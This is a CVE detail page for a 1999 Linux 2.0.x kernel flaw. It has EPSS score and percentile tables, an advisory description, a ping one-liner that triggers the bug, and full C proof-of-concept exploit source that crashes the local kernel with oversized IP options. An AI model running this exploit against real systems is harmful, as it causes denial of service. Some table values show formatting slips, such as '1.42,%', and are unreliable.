CVE-1999-0986 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	1.42%
2025-03-18	–	–	–	–	1.42,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	79%
2025-03-18	79%

/* source: https://www.securityfocus.com/bid/870/info Debian 2.1,Linux kernel 2.0.34/2.0.35/2.0.36/2.0.37/2.0.38,RedHat 5.2 i386 Packet Length with Options Vulnerability A vulnerability in the Linux kernel's TCP/IP allows local users to crash, hang or corrupt the system. A local user can crash, hang or currupt the system by sending out a packet with options longer than the maximum IP packet length. An easy way to generate such packet is by using the command "ping -s 65468 -R ANYADDRESS". The -R option is for the IP record route option. Under kernel versions 2.2.X the command will fail with an message of "message too long". The vulnerability seems to be the result of the kernel not checking aif packet with options is longer than the maximum packet size. A long packet seems to lead to memory corruption. */ /* Exploit option length missing checks in Linux-2.0.38 Andrea Arcangeli <andrea@suse.de> */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/udp.h> #include <netinet/ip.h> main() { int sk; struct sockaddr_in sin; struct hostent * hostent; #define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr)) #define OPT_SIZE 1 char payload[PAYLOAD_SIZE]; sk = socket(AF_INET, SOCK_DGRAM, 0); if (sk < 0) perror("socket"), exit(1); if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0) perror("setsockopt"), exit(1); bzero((char *)&sin, sizeof(sin)); sin.sin_port = htons(0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(2130706433); if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0) perror("connect"), exit(1); if (write(sk, payload, PAYLOAD_SIZE) < 0) perror("write"), exit(1); }